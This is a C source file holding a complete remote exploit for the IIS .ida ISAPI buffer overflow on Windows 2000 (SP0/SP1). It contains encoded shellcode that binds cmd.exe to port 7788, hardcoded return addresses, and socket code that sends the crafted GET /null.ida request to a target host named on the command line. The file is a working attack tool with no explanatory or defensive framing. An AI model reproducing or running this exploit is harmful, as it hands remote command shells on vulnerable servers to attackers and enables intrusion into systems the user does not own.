#ifndef WIN32 
#include <sys/time.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <netdb.h> 
#else 
#pragma comment (lib,"Ws2_32") 
#include <windows.h> 
#include <winsock.h> 
#define close closesocket 
#endif 
#include <stdio.h> 
#define NOP 0x90 
#define SP0_JMPEBX "%uac97%u77e4"   //jmp ebx in WIN2k+SP0 
#define SP1_JMPEBX "%ubf17%u77e4"   //jmp ebx in WIN2k+SP1 

unsigned char shellcode[]= 
    //shellcode bind cmd.exe port 7788 
    "\x90\x55\x8b\xec\x33\xc0\x40\xc1\xe0\x0b\x2b\xe0\xeb\x03\x90\xeb" 
    "\x05\xe8\xf9\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
    "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90" 
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa" 
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36" 
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97" 
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14" 
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2" 
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14" 
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5" 
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1" 
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16" 
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68" 
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1" 
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94" 
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4" 
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68" 
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57" 
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4" 
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4" 
        "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5" 
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68" 
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67" 
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1" 
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf" 
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab" 
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0" 
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4" 
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0" 
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56" 
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7" 
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57" 
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4" 
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f" 
        "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7" 
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68" 
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f" 
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75" 
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0" 
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5" 
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2" 
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" 
        "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97" 
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc" 
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb" 
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97" 
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2" 
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4" 
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97" 
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2" 
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97" 
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97" 
        "\x68\x68\x68\x68"; 

unsigned char jump[]= 
"%u08eb%u9090"; 
//jmp 0x08 

unsigned char jump_to_shell[]= 
"%u9090%uc033%ub866%u031f%u0340%u8bd8%u8b03" 
"%u6840%udb33%u30b3%uc303%ue0ff"; 
//jmp dword ptr [[[ebx+0x320]+0x68]+0x30] 

int main(int argc,char *argv[]) 
{ 
    int s,sp; 
    char *p,shell_buf[4096],jmp_buf[4096],buf[4096]; 
    struct hostent *he; 
    struct sockaddr_in sin; 
     
    #ifdef WIN32 
    WSADATA WSAData; 
    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) 
    { 
            printf("WSAStartup failed.\n"); 
            WSACleanup(); 
            exit(1); 
    } 
    #endif 
     
    if(argc!=3) 
    { 
        printf("Usage: %s host sp\n",argv[0]); 
        return -1; 
    } 
    sp=atoi(argv[2]); 
     
    memset(shell_buf,NOP,sizeof(shell_buf)); 
    memcpy(&shell_buf[16],shellcode,strlen(shellcode)); 
    shell_buf[strlen(shellcode)+16] = 0; 
    memset(jmp_buf,1,sizeof(jmp_buf)); 
    p = &jmp_buf[232]; 
    sprintf(p,"%s",jump); 
    p += strlen(jump); 
    if(sp==1) 
    { 
    sprintf(p,"%s",SP1_JMPEBX); 
    p += strlen(SP1_JMPEBX); 
    } 
    else 
    { 
    sprintf(p,"%s",SP0_JMPEBX); 
    p += strlen(SP0_JMPEBX); 
    } 
    sprintf(p,"%s",jump_to_shell); 
    p += strlen(jump_to_shell); 
    p = 0; 

    sprintf(buf,"GET /null.ida?%s=x HTTP/1.0\r\nShell: %s\r\n\r\n",jmp_buf,shell_buf); 
    if((he = gethostbyname(argv[1])) == 0) 
    { 
    printf("Unable to resolve host %s\n",argv[1]); 
    exit(1); 
    } 
    sin.sin_family = AF_INET; 
    sin.sin_addr = *((struct in_addr *)he->h_addr); 
    sin.sin_port = htons(80); 
    if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
    { 
    printf("Unable to set up socket\n"); 
    exit(1); 
    } 
    if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1) 
    { 
    printf("Unable to connect\n"); 
    exit(1); 
    } 
    else 
    printf("Connected...\n"); 
    if(send(s, buf, strlen(buf), 0) == -1) 
    { 
    printf("Unable to send\n"); 
    exit(1); 
    } 
    else 
    printf("code sented...\n"); 
    #ifdef WIN32 
    Sleep(1000); 
    #else 
    sleep(1); 
    #endif     
    close(s); 
    printf("Done.\n"); 
    return 0; 
}